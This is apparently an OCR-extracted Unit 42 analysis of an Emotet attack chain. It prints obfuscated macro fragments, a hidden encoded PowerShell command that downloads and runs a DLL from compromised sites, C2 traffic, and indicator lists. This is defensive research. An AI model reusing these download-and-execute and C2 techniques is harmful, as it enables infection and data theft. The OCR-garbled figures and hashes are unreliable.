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Executive Summary

Unit 42 researchers have identified and analyzed a new update of Emotet, the notorious banking Trojan, that has
been active in the wild since December 2020. Emotet has long been a thorn in the side of defenders with a

reputation for its tenacity, longevity and resilient evasion techniques.

Recent actions by international law enforcement have disrupted the Emotet threat actors and their infrastructure.

However, the tactics, techniques and procedures (TTPs) employed in this Emotet update present an opportunity to

expose the inner workings of an active, prominent threat against all industries.

In this blog, we will detail the end-to-end attack chain of this Emotet update, including its first-stage malicious
document lure, the deobfuscation of its payload into a second-stage PowerShell loader and the downloading of the
third-stage binary R43H.dIl.

We will also detail the persistence mechanisms used by this Emotet update, as well as the command and control
(C2) channel and its indicators of compromise (IOCs). Lastly, we will demonstrate the difficulties that security

solutions face against Emotet’s evasion techniques.

Palo Alto Networks Next-Generation Firewall customers are protected from Emotet with Threat Prevention and

WildFire security subscriptions. Customers are also protected with Cortex XDR.

Attack Chain Analysis

Emotet is commonly distributed with a Word document attached in phishing emails. Below are the steps in an

Emotet attack chain:

1. Word doc distributed and opened with macros enabled.

2. VBScript macro(s) runs to generate the malicious PowerShell script.

3. The malicious PowerShell script downloads the initial DLL binary as a loader.
4. The initial loader drops a follow-up DLL binary that updates itself.

5. The final DLL steals victims’ sensitive data or conducts further attacks by communicating with C2 servers.
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First-Stage Malware — Word Macro Launcher
(Sha256: 2ch81ala59df4adfd222fbch946db3d653185c2e79cf4d3365b430b1988d485f)

The analyzed sample is a Microsoft Office OLE2 Compound File Binary Word file. As with many spear-phishing

attacks, this one also social-engineers the user to enable macro support to start the delivery of malicious Visual

Basic for Applications (VBA) code.
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Figure 1. This malicious Word document contains an embedded macro that initiates an Emotet
attack chain.

The embedded VBA macro code is executed when the user opens the lure document in Microsoft Word with

macros enabled, spawning a Document Open() event.
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Figure 2. The embedded VBA macro code is obfuscated to impede analysis efforts.

The next call is to a function named Jotxu6biv04710y0(). The behavior of this function and further execution of

the first-stage malware is described below:

1. Retrieve a single StoryRange of the wdMainTextStory type from the document’s StoryRanges.Item() method
and store it in the variable mKbjhgs. The content of that variable is the obfuscated payload data that will be

deobfuscated later in the attack chain. A StoryRange in the VBA world is used to find or replace text inside a

document.
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Figure 3. The obfuscated payload is extracted from the malicious document and stored.

2. Collect obfuscated data through a series of GoTo calls, which stores data across several variables. The data is

then concatenated and assigned to variable C_tmpi32le9.

"C_tmpi321ef = wlb2[sin]bZ[sm]bZ[sem]b2[st]b2[s]b2[s]b2[s5]1b2[S[...]
C_tmpi32le® = Bocudd7izwiSq + Md7uay_rihi + W_z@xk65anh723p + snahbsd + Mvmowvl6lpgl

Figure 4. The obfuscated payload is extracted from the malicious document and stored.

3. The string stored in C_tmpi32le9 is deobfuscated and substituted in a series of function calls displayed in

Figure 4.
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Figure 5. Replace function and data before and after obfuscation.

The text payload stored in C_tmpi32le9 is deobfuscated with a call to function Lehj73snaqzhyepdw9(). This
function works as a wrapper for function Jumkzxvtzz2s(), which implements a simple string substitution routine.
The function also calls the built-in function Replace(), which is passed the string b2[s as the delimiter to search

and replace in the payload string. The resulting payload is the WMI moniker winmgmts:win32_process, which is
stored in variable H4qcty67722xgmrmn.

4. Generate a new object by making a call to the CreateObject() function and passing as parameter the

winmgmts:win32_process string. The resulting object value is stored in the FcqvbwoostmO variable, which is an

object of the Win32 Process WMI Class. This variable is a handle to an object capable of spawning new
processes.

" H4gctye7722xgmrmn = "winmgmts:win32_process”
Set Fogvewoostm@ = CreatelObject (Hagcoty67722xgmrmn)

Figure 6. Call to CreateObject(“winmgmts:win32_process”) constructor.

5. Perform a length correction routine and store the resulting data in variable Ma9hdg7q365Ipb. A call to function
Lehj73snaqzhyepdw9() is made with Ma9hdg7q365Ipb as a parameter.
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Figure 7. Deobfuscated final payload.

6. A call to method Win32 Process.Create() is made by referencing the previously instantiated object and passing

as first parameter the returning value of the previously executed Lehj73snaqzhyepdw9() function. The returning

value contains the deobfuscated final payload (operating system and PowerShell commands).

' Focgvewoostmd.Create ("cmd cmd cmd cmd fc msg ¥username® /v Word experienced an [...]")
Fogvewoostmd.Create Lehj73snagzhyepdwd(Madhdg7a3651pb), Ndofzgkgtiodkyd, Es2mklcSpr3@boja
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Figure 8. Create() function call with parameters.

The first stage of this Emotet attack chain ends with the execution of the deobfuscated payload originally
embedded in the malicious document. The payload contains a series of calls to cmd.exe nested around an

obfuscated call to PowerShell with base64 data passed as an argument.

cmd cmd cmd cmd /fc msg Fusername® fv Word experienced an error trying to open the file.
& P*Mw'er®she*L*L -w hidden -ENCOD JAAZADKABQBEAFQAMWAZACAAPQASAFSAQABSAFAARDBAACEATERT
ADEAFQBTADMATQE T ADAAFOBTADIAFQAIACOAT ZANAF . . . ]

Figure 9. Deobfuscated OS and PowerShell commands.

Second-Stage Malware — PowerShell Downloader

The second stage of the attack chain begins with nested cmd.exe calls, the first of which invokes msg.exe. This
displays a message window to the victim containing a decoy Word error, “Word experienced an error trying to

open the file.”

Next, PowerShell is invoked with base64 encoded data as a parameter, and cmd.exe takes the string
PAOw”erAsheALAL as an argument. This argument is crafted using the caret escape character () to avoid static
detection. The -w option sets the PowerShell.exe process to start in the background. The -ENCOD option tells

PowerShell to decode the base64 argument on the fly.
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Figure 10. Execution of msg.exe and powershell.exe.

PowerShell - Base64 Analysis
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Figure 11. Decoded base64 PowerShell data.
The purpose of this obfuscated code is as follows:
1. Set the security protocol used by the ServicePoint Manager to TLS 1.2.
2. Set the absolute path of a randomly generated file.

3. Generate an array of a total of seven Uniform Resource Identifiers (URISs).

Figure 12. Deobfuscated URIs list.

4. Instantiate a new object of the WebClient .NET Class, which leverages the DownloadFile() method to retrieve

files from each item (URI) contained in the array generated in the previous step. The downloaded file will be

saved into a fixed absolute path and filename %USERPROFILE%\Y gyhlqt\Bx5jfmo\R43H.dIl.

It’s worth mentioning that the folder names used at this step are matched with the ones generated during macro

execution in the first stage of the attack chain.

5. Perform a length check to equal 37652 bytes. This specific check is presumably made to ensure the binary

content was transferred successfully.

6. Execute the downloaded DLL file by executing the rundll32.exe command and providing the Control_RunDLL

as an entrypoint function. The following picture shows the deobfuscated version of the entire command.
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PS C:‘\Usershananda> &{( ; ). ToSTrINg();

Figure 13. Execution of rundll32.exe in PowerShell.

As described above, the PowerShell script performs several HTTP requests to different URIs. The response from
the server shows that a DLL file has been downloaded. The name of the file is set to NKO5DJ2yiA.dll.

GET funraid-map/ZZmé/ HTTP/1.1
Host: allcannabismeds. com
Connection: Keep-Alive

HTTP/1.1 2@@ OK

Server: nginx

Date: Mon, 18 Jan 2021 16:33:26 GMT

Content-Type: application/octet-stream

Transfer-Encoding: chunked

Connection: keep-alive

Cache-Control: no-cache, must-revalidate

Pragma: no-cache

Expires: Mon, 18 Jan 2021 16:33:26 GMT
Content-Disposition: attachment; filename="NK@5D12yiA.d11l"™
Content-Transfer-Encoding: binary

Set-Cookie: F@@SHESESS4cI=1610387606; expires=Mon, 18-Jan-2021 16:34:26 GMT; Max-Age=6@; path=/
Last-Modified: Mon, 18 Jan 2821 16:33:26 GHT

¥-Httpd: 1

Host-Header: £b7412fb82caSedfd@o17e3957f25d89
X-Proxy-Cache: MISS

X-Proxy-Cache-Info: U NC:002000 UP:SKIP_CACHE_KO CACHE

PLT. BP0V e 5. UM
Ve P P Ee P B WL Ay e e e

. [EREN .Y lol+ BT PQFRL . v bbb,
s TR P4 5 E.

Figure 14. HTTP download request - First DLL (NK05DJ2yiA.dll).

Third-Stage Malware — DLL Analysis

(Sha256: bbb9c1b98ec307a5e84095cf491£7475964a698c90b48a9d43490a05b6bala79)
KEY : "k1>@dY0V<o0)afFNz7v68r"Kn6)h)OGcSc"

Figure 15 shows the process tree having a parent process powershell.exe and the consecutive runs of rundll32.exe.

W powershell -ENCOD JAAZADKABQBEAFQANWAGACAAPQAGAFSAJAB5AF AARGBAAC AlgB 7ADEAG B TAD MAFGB 7ADAMGB 7ADIAFQAACOAZGANAF IAIWASACCALWANACWAINBZACCALA . 1/29/2021 12:04.. 1/29/20
[W.. "C:\Windows\system 32\und|l32 exe'" C:\Users\ananda'\ Yayhlgt\Bx5fmo \R43H dll Control_RunDLL 1/29/2021 12:04:... 1/29/20;
[W.. C:\Windows\system32\rundl 32 exe "C:\Windows \system32\Jluymtmwuyalra ‘uhschsppilak.dup Control_RunDLL 1/29/2021 12:04.... n/z

5173 powershell exe (3688
517 undi32ene (3992)
[ rundi32.exe (3584)

Figure 15. PowerShell.exe and rundll32.exe processes execution.

The first process is given the absolute path to R43H.dll as an argument, and the second process is given a path to a
file with a random path and filename. However, both processes begin with the same entrypoint function called
Control_RunDLL. The following describes the inner workings of this DLL and its participation in the infection

chain.

Once the downloader code receives the second-stage DLL file, it will be saved in the path
%USERPROFILE%\Y gyhlqt\Bx5jfmo\ and will be renamed to R43H.dll. According to the detection generated by
the ExeInfoPE tool, it shows that this is a Microsoft Visual C++ ver. ~6.0~7.10 executable file.
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First Bytes :
SubSystem : |'|.|'l.ﬁr1duws GUI @_
Flesize:  [pooescoon il ll Overlay:  [NO DoDODODOO Options |

DLL 32hit-Library image RES/OVL:25/ 0% 2021 Exit |
|Microsoft Visual C++ ver. ~6.0~7.10 - Linker 14 - Visual 201x ﬂ . |
Lamer Info - Help Hint - Unpack info 10 ms. R

INut packed , try disASM QllyDbg - www.ollydbg.de or WD32dsm39.ex J

Figure 16. ExelnfoPE file identification on downloaded DLL file.

During the third-stage malware execution, a new absolute path will be randomly generated. A call to the
MoveFileExW() function will move the file from its original location to this new one. The absolute path format is

as follows:
e %SYSTEMROOT%\system32\<random_folder_name>\<random_filename>.<random_ext>

Next, as shown in Figure 17, a call to the CreateProcessW() function sets the value of the [pCommandLine

parameter, which includes the absolute path of the recently moved DLL file, and the aforementioned entrypoint

function Control-RunDLL.

01129818 |fCALL to CreateProcessW from 01129816
001BF190| 00000000|[ NoduleFileName = NULL

001BF194| 001BFZEC|| CommandLine = “C:'\Windows\system32rundll32. exe “"C:\Windows'systen324\Foz jhruijemi jmpfisugaenk jkuzdeun. jss””, Control _RunDLL”
Q01BF198| 00000000|| pProcessSecurity = NULL

001BF149C| 00000000 pThreadSecurity = NULL

001BF1A0| 00000000(] InheritHandles = FALSE

001BF144| 00000000|| Creationflags = 0

001BF1A8| 00000000|| pEnvironment = NULL

O01BF1AC| 00000000(] CurrentDir = NULL

001BF1EO| OO0IBFZZ0|(| pStartupInfo = Q01BFZZ0

001BF1B4| 001BFZ6d|LpProcessInfo = 001BFZ64

Figure 17. Execution of the second DLL file.

The actions performed by the second rundll32.exe execution will be described in the Fourth-Stage Malware

section.

Locate and Load Resource Encrypted Data

The Emotet malware performs several actions, and one of those is the use of Resource Win32 API functions with
the objective of loading binary data from the executable resource section, decrypting it and dropping a newly

crafted malware.
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First, at offset 0x10002119, a call to the Virtual Alloc() function is made. This will allocate 0x1B000 (110592d)
bytes, a MEM_COMMIT allocation type and memory protection option as PAGE_EXECUTE_READWRITE.

read, madule RATH]

[ V5 ] = A e

28F) exl, eax to '|||'1rtualﬂln-: from R43H. 10002119
v]- s EE0D000D s:-ll. OOCFEFT T
Fi|- 52 = RULL
. OFAFFO Lul.'l esl, eax
. 59 pop [
. 56 push  esi
. FFT5 EB m.::h deord ptr [ebp=15]
E3 ek

| FFis 0sn0s uau dcrd pte [GHERNELIZ, VirtuslAlloe>]
1 11F|). FF75 EB push  dword ptr [ebp-1E]
EBF0 e esl, sax

1 1 . FETE EO pimh  dwerd pre [ebe-20]
1 . 5% piasth eEL
10002128'|. EE 93240000 |call  NODOO4SCO | . Emcrypted reseurces data (Byte copying) & -
1 120]]. endE E4 lea enx, dword prr [ebp-1C] 70
1 pizsth R
push

0 AWARELA | el BN AOPET LA R N ST SO T S YL DT _ b

Figure 18. VirtualAlloc() and byte-copying (call 100045c0) function.

At offset 0x10002128, the function call 100045CO0 copies the bytes from the resource section into the newly
generated memory allocation from the previous step (see Figure 18). The following picture (Figure 19) shows a
comparison between the byte contents of the resources taken directly from the Resource Hacker tool and the

contents in memory taken directly from the running process.

g OlICE - [*CPAF* - main thread, module R43H ane]
Bne Wiew Debug Pughs Opbons

B fEIEEI— IS _U' JJ e e e e e e

18 71 AD 33 02 10 1B 4A 23 3F OA 32 C1 C9 41 2D *gy Jeea TETEAER~
B3 OF 26 30 22 24 3% OF &B 1R OF 58 47 0% 3F 13 .
2E 42 4k 2K 40 3% 3F OE 37 13 23 23 00 1F 1E 5D
4B 4D 02 3T 9% 2% 96 0B 26 29 1IC 51 B2 32 08 21
00 OB &4 34 AC B2 04 98 33 FF 32 €0 D2 O€ 4R &4
71 &7 16 5C 73 3E 5D 3B 30 66 T2 36 TE 53 3 2B
$¢5!»¢50 5273 33 Th 3F 52 31 4B 67 66 4C 16 14 TE 15 3C
DOOECET0 |41 4B IF 25 €8 46 02 37 &R 3R 47 00 4A 1E 46 35
=3 TR O304CEE0 |SF €8 45 RS 3C 78 2C DE T3 54 28 EL 43 OF Oh E4

8045 Ed |lea aE neoscss0 |35 75 E7 A% D2 €D 63 E4 13 30 B4 E3 01 58 1D ES 5mza~;'s-."s
. Zh Zh FD C3 5D BC 26 AR LA TT 4F 74 7t 58 hooo| e=gR sgxef
'. 42 3D I4 43 0D 32 31 55 51 14 14 32 23 04 2D 13 K+ L3t LT
g 3 OB S6 4F IF ZA 8% £C 49 18 4% 13 53 04 4R %0 -
E RE RS C1 19 25 47 3B 40 36 OE 03 32 0L OA O 12 cseq-’.‘u
SF 48 00 04 16 [0 3D 08 27 0 OF 33 32 3A 23 13 geeEsride =
T ea im aa am s P - aa |
i -

VU LR S R .&
OF 26 3022 24 3% OF BB 1A OF 48 47 09 5F 3"&0‘? [-{Q'IG""
42 44 2k 40 35 3F OF 37 13 23 23 00 IF 1E 3D|, BJ=85787 8k =
4D 02 3F 44 25 46 0B 36 29 1C 41 82 32 08 31 Hﬁ‘DJF.{G)A"ﬂl
0B 34 34 4C BE 04 98 33 FF 32 &0 D8 06 4A 64/, J7L77 - 27974
MLOM2 M -

Figure 19. Encrypted binary resources data displayed in the Resource Hacker tool.

During the execution of subsequent instructions, a call to the 0x10001D9A function is made. This function has a
loop located at offset 0x10001E4D and performs several operations. One of these operations is a 1-byte XOR
instruction (xor byte ptr [esi+ecx], al) located at offset 0x10001E4D. Its purpose is to decrypt a total of 110591
bytes of the executable’s resource data where the PE binary data is stored. The final result is an in-memory

reconstructed executable file. In Figure 19, the encrypted and decrypted data in the process’s memory can be seen.
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* - main nedube R43H_BES]
Pugns Opbiord  Window  Help

L= L |
ecK
esi, eax . 3BTD OC
Eox .~ OFSC GLFFFFFI
egi edi,
dword ptr [ebp-18] 100 - al,
ebx 1 . eai
dward ptr [<BKERNEL3Z. Virtualilloe>] 5 byte ptr [edi], bh
h . byte ptr [editl], al
esi, eax ) - edi
dword ptr [ebp-20] - ebx
esi -
10004560
eax, ebp
eax mow ebp,
10040000 oV edz,
10001016 push ehx
mov al, byte ptr [ecx]
bl, byte ptr [eds]

T T-]#7. Bl A-
oOF 0" §ATL-IHG, 7
0 JBI+0G7 0T I, =
08 KMy 7D) Fa%) A7
98 L 29L77 42 974
MW M .

Figure 19. Encrypted data in PE and decryption of data in memory.

At offset 0x10002167, an indirect function pointer call is made to the address pointed to by the EAX register,
which is the entrypoint of the Control_RunDLL function of the in-memory (dropped) executable file. Figure 20

shows this in a graphical manner for reference.

v, OB ICE - [*CPAP - mais thread, module R43H]

0 Doin). - [IDA View-A]

=l Immmmmmm

(@@ =-= [ hB B 1= =][omiea
EEDIEEE Y Y YL BER N
ocx R scL [Gen BB - = NX ®m-0-vSHK~~
= ]
push  1004234C BHe SRR FAA
g —
4 )
10011168 public Control AunbLL
1081116A Control_RenDLl proc near
40004 WET1168
S e 10011168 var_14= dword ptr -1uh
R ARETT188 var = dword pEr -1
A 2 25 10811168 var_C = dword pkr -0Ch
0 . 10011160 var 8 - dwoid ptr -8
S F L © 10811168 var & = dword ptr -&
10811168
push  ebp 10811168 push enp
nav eb, s 10811169 mou ebp, esp
S3EC 14 sub =5k 14 RLRRET ] sub esp, Thi
g;g F4 D102001 now d:grd )é;r Letp-Cl, 0BO1 1081116E mow [ebpsvar C], BERIR
xar L - 10811175 wor edx, edx
8145 F4 FBEF0OIndd  dword ptr [ebp-C], OBFFB 10811177 add [ebpevar £], SEFFER
E175 F4 ECDT00( xor dword ptr [ebp-C], 0OTEC 1081117E wor [ebpevar C], BOTECH
CT4S FE 33E800(nov  dword ptr Esz—s}. 0E833 o1 ia oy E::p-uar :}. seaan
8145 FE 9TCCO0(add  dword ptr [ebp=8], 00CST pruar 8],
E17S FE 680401 xar dword ptr [ebp=2], 1DMEE :m::g: war Ef:n*wr_:]. ABNGEN
'l - mou [ebpeuar
€745 FC EFB100{ nov dword pir [’b"_d]' oeLer A0E 181 o [onpruir_l],.?nsl:ﬁlllh
214D FC 436460 or dword ptr [ebp=d], TOACEA43 Toen1iam o I R,
8145 FC 0BYFFladd  dward ptr [ebp-4], FPFFO508 T Mo [ehprvarh]. W
g345 FC mov  ear, dword ptr Lebp-d] J061118% P
Eh 67 push BT 10e111ER pop ecx
2l LD L 10811185 din_orw

Figure 20. Indirect call — transferring control to in-memory data.

Once the call EAX instruction is executed, the execution control is transferred to the new executable file.

Persistency Mechanism

The Emotet malware installs a new service by calling the CreateServiceW() function, which starts the copy of the

malware in an automated manner by the operating system. Figure 21 shows this new service already installed.
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Mame =

L4 Fax

5 Function Discovery Provi
S Function Discovery Resol
4 Group Policy Client

4 Health Key and Certificat
S HomeGroup Listener

£ HomeGroup Provider

%4 Human Interface Device
% iimfirgxhy. gis

54 IKE and AuthIP IPsec Key
%4 Interactive Services Dete
S Internet Connection Shal
% Internet Explorer ETW G
54 IP Helper

5 IPsec Policy Agent

S KimRm for Distributed Tr:
5 Link-4Layer Topology Diso

ijmfirgxhy.qjs Properties (Local Computer)

General | Log On | Recovery | Dependencies |

Service name: ijrrfirpdy js

Digplay name: ijmfirgedy.gjs

Description: indows Media Center Service for TV and FM ;I
roadcast reception LI

Path to executable:
32.exe "C:\Windows'system 32\Eozjroajwn’ijmfirgdy gjs" Control_RunDLL

=

Startup type: Iﬁutnmatic

Help me configure service startup options.

Service status:  Stopped

Start | Stop Fauze Fesume

IngOnAs I

MNetwark ...
Local Service
Local Service
Local System
Local System
Local System
Local Service
Local System
Local System
Local System
Local System
Local System
Local System
Local System
Netwark 5...
MNetwark 5...
Local Service
Local Service

5 Media Center Extender 5
S Microsoft \MET Framewar

You can specify the start parameters that apply when you start the service

Frevn hara

Local System
Figure 21. Installation of a new Windows service.

The service name is generated randomly and the below list contains different names used throughout several test

runs.

e Provides Disk Defragmentation capabilities.

e Windows Media Center Service for TV and FM broadcast reception.

e Processes application compatibility cache requests for applications as they are launched.

e Starts and stops recording of TV programs within Windows Media Center.

o Transfers files in the background using idle network bandwidth. If the service is disabled, then any
applications that depend on BITS, such as Windows Update or MSN Explorer, will be unable to

automatically download programs and other information.

Fourth-Stage Malware — DLL Analysis
(Sha256:bd1e56637bd0fe213c2c58d6bd4e6e3693416ec2f90ea29f0c68a0b91815d91a)

At this stage, the final payload is preparing the environment to submit information to the C2 server. To do so, it

executes function calls to retrieve the required data to finally perform the HTTP request.

The following steps assume a base address of 0x2E1000 and describe the details and sequences followed by the

Emotet malware until the delivery of the payload.

O0ZELEEGC E2 FDDOOO0OO CALL O0ZF7CEE ; Generate IP address

O0ZELFIE Eg Z5270000 CALL O0ZEDECS ; Loop to gemerate HTTP URT path data

O0ZEADCE EZ CDpanoon CALL O0ZF229D ; Generate DNT, Peferer, and Content-Type format string
O0ZELEL4 EE CATEFFFF CALL O0ZEZSEZR ; Concatenate DHT, Referer, and Content-Type
ODEFE2E0 E2 SCESFEFF CALL OOZELLCL i Generate recquest body walues i(name, and filename)
ODZFE242 EE Z7CEFFFF CALL OOZFZe74 s Generate form data binary content (bytes)
ODOZFE79E E2 B4Z7FFFF CALL OOZETF4E s Close the form boundary

OOZED4C? EE 2Zzzooon CALL OOZEF74E ; ObtainUserligentString

OO0ZESAEL FFLO CALL EAX ; InternetOpentl

O0ZElCE2l FFLO CRALL ERX ; HotplpenPeguest

O0ZFeBE4 FFLO CALL ERX ; InternetietOptiontl

O0ZFS4EBE FFLO CRALL ERX ; HttpSendPegquestl

Figure 22. Function calls that collect and prepare data for exfiltration.
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Fifth-Stage Malware — C2 Traffic

As can be seen in the function call list, the HttpSendRequestW() API function is used to send the data to the

server. This function allows the sender to exceed the amount of data that is being sent normally by HTTP clients.

JdEE1zol

Nt'ﬂlim"lﬂn

fOM‘ﬂI!l lilhl‘
BILQ &AL

Efe

ent=Twper applic
b lonSoctet—stre
s si”2 TH Qou

i

BRLGEEGE

) 20 B4 BB Bl @A 74 P2 6
75 BB GE 0@ &4

Figure 23. HTTP data in memory before being sent to the C2 server.

Figure 24 shows the data after being sent and captured by Wireshark.

Wireshark - Follow HTTP Stream (tcp.stream eq 0) - enp0s3

1
POST /5416j571T1y5Svxvimé/trhtpOugpy/TTecl/hyhama/80c46dT9rthgbcmp/ HTTR/1.1 =
DNT: @ !
Referer: 152.176.79.100/5416j571F1ySvxvtmb/ trhtplugpy/ffecl/hyhama/88c46dfarthgbcmps

Content-Type: multipart/form-data; boundary=----------- DJUd9E1zolw

User-Agent: Mozillas4.8 (compatible; MSIE 7.8; Windows NT 6.1; Trident/7.8; SLCCZ; .NET CLR
2.8.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.8C; .NET4.0E)

Host: 152.170.79.168

Content-Length: 8132

Connection: Keep-Alive

Cache-Control: no-cache

————————————— DJUd9ELZzo1w
Content-Disposition: form-data; name="dBILQavOCwYVH"; filename="qCNFwmSIYSSHz"
Content-Type: applicationfoctet-stream

/ H..ox W§B..JJ ..p....G....U. p#Hd =*3.00Y.n. L AR L 0L GELLDL LSRN T
LU ME. s veennns A.BC. . K.puuus. r# u)3d..e..=.z..W.._.. U
=.P.VaE...p.TT..02M.9.HV. .vF..(. 34! -

V.o WL #]Y
Do ali]ocooazooo C.o. q C.B%.+.%.r.>.]1.3t.:8.....

5300 a0 oo aooo $.....p7.#. .. Xw..C....... (s oMl 2 o800 aaz0abioaaSoallso |
7av. V. .v! .I.;..(
2m. . WNL WL LR UL BV BEE...Jx.*"..... e.f0..0... ... 'E}b ) P A....UW.

e ....:...f] .ud..F. s..:.'..?d...H.4.U..z.>..\..o;..._... .2, fZ ..]..¥..c.. <.R
Npvearenns t...E..].8. “#ni11.7. bk. =p...0....7...

6—]..0...[.... ..... Yeurnn ?Jq.....Zz..>2K..r...:.2s. . (z} 7L

\P.srzA...Y.. Q X[i ]H 1...QN..R.0...=.:R...  Pl.Qdw. \ +...... . )YH[FA ke 1.1

$6C..... +j..?.T.. ...... t...j...i...l.. q. =

1.0 hify 'l

1 client pkt, 0 server pkts, 0 turns.

| Entire conversation (8,651 bytes) - | Show and save data as | ASCII - |

Find: | H Find Next ]
| Filter Out This Stream | | Print | | Save as... | | Back | | X Close | | :iHeIp |

Figure 24. Data being sent to the C2 server captured by Wireshark.
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Evasion Technology

1. Uses multiple download links to download the first-stage loader. As long as one download link is not
blocked or captured by a security product, the loader download will be successful.

2. Uses multiple C2 server IP addresses to communicate with C2 servers. As long as one IP address is not
blocked, the communication will be successful.

3. The C2 communication uses standard HTTP with sensitive information encrypted with custom algorithms.
From the perspective of security mitigations, it is difficult to differentiate this strain of C2 from benign

traffic.

Conclusion

Emotet was a potent adversary before coordinated law enforcement action shut down its infrastructure in late
January 2021. The attack chain detailed above is elaborate and is designed to evade security detections. A single
security appliance is not equipped to prevent an Emotet attack. Only a combination of security solutions —

firewalls, sandboxes, endpoints and software to integrate all these components can help prevent an Emotet attack.

At the time of this writing, the samples listed in the IOCs section below were not publicly available. However, we

have created detections and coverage against their behavior and communication.
Palo Alto Networks customers are protected from this kind of attack by the following:

1. Next-Generation Firewalls with Threat Prevention signatures 21201, 21185 and 21167 identify HTTP C2

requests attempting to download the new payload and post sensitive information.

2. WildFire, an NGFW security subscription, and Cortex XDR identify and block Emotet and its droppers.
Indicators of Compromise

Samples

209a9754293041771ef8a619553ffd9b8fc525a254157cbba47{8e64ec30df79
2a8dcfc8f1262e1c6b5f65c52cdccdbed40ff6218f4f25f82bd3eb025593dbc0
2cb81ala59df4a4fd222fbcb946db3d653185c2e79cf4d3365b430b1988d485f
36df660c8e323435d2bc7a5516adcadfbd0b220279f634725e407da9f2b9d4f5
3788c8a783fbbd61fa60d41b78568c095a8587db728a61bff67c3ffebfad82a4
704759a244e3f27481f6ad225a0e1c30ae46e411e01612d68ca76fe2fd8cee54
7a18e87591637a8e962386b9c72aed584037a953ce7fe5ae51edba7alca57cla
96a1fea9853e6f77d4449da325dfdb1545b905bdb7ba227d24e6ala5f8cb3bd4

a9668efdb68bf251dae8623cb4f3dc8b9b7f42d77927d287633af94a72e9d1dc

Page 13 of 15


https://www.paloaltonetworks.com/network-security/next-generation-firewall
https://www.paloaltonetworks.com/products/secure-the-network/subscriptions/threat-prevention
https://threatvault.paloaltonetworks.com/?query=21201
https://threatvault.paloaltonetworks.com/?query=21185
https://threatvault.paloaltonetworks.com/?query=21167
https://www.paloaltonetworks.com/products/secure-the-network/wildfire
https://www.paloaltonetworks.com/cortex/cortex-xdr

https://unit42.paloaltonetworks.com /attack-chain-overview-emotet-in-december-2020-and-january-2021 /

fc3c1ce6491bca2b028ae8806ca84d4b9dcb577fb2551aa871ca23ecal9b10f5

Droppers

0a0bf0Ocab20ec7fb530738c4e08f8cd5062ead4c5da3d8a3e6ce0768286d4c51
2a0ale12a8a948083abe2a0dcbf9128b8ec7f711251f399e730af6645e86d5¢8
3b3a9517b61d2af8758e60d067c08edd397ad76b25efe1cbd393229088567002
3bbda08f5e15c5cb4472c6e610f2063eb68f54c0234a2197bc4633f4344ab27f
3e2fd3a5d790a0d4efe1100af08e3e2011f26416154ec11f1315db2cabca71bd
4eb1928c08d16a9407dbf89ad1279886379a0415bdd7760a3b2d0697f7d287c6
95bc30b35aa2d2baa80b50e970707197a26bd19d7772cbf65ff3d0300fe8e789
97c395e1bd0c35e9b8e6£9d97b470abdfdacec25e0e4e3b987e3813fb902de9f
bbb9c1b98ec307a5e84095cf491£7475964a698c90b48a9d43490a05b6bala79

bd1e56637bd0fe213c2c58d6bd4e6e3693416ec2f90ea29f0c68a0b91815d91a

URLs

http://abrillofurniture[.]Jcom/bph-nclex-wygq4/a7nBths/
http://allcannabismeds|.]Jcom/unraid-map/ZZm6/
http://ezi-pos[.]com/categoryl/x/
http://giannaspsychicstudio[.]com/cgi-bin/PP/
http://ienglishabc[.]Jcom/cow/JH/
https://etkindedektiflik[.]com/pcie-speed/U/

https://vstsample[.]Jcom/wp-includes/7eXel/

IPs

5.2.136[.]90
37.46.129[.]215
70.32.89[.]105

110.172.180[.]1180
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132.248.38[.]158

138.197.99[.1250

152.170.79[.1100

157.245.145[.187

161.49.84[.]2

190.55.186[.]229

190.247.139[.]101

203.157.152[.19

Source: https://unit42.paloaltonetworks.com/attack-chain-overview-emotet-in-december-2020-and-january-2021/
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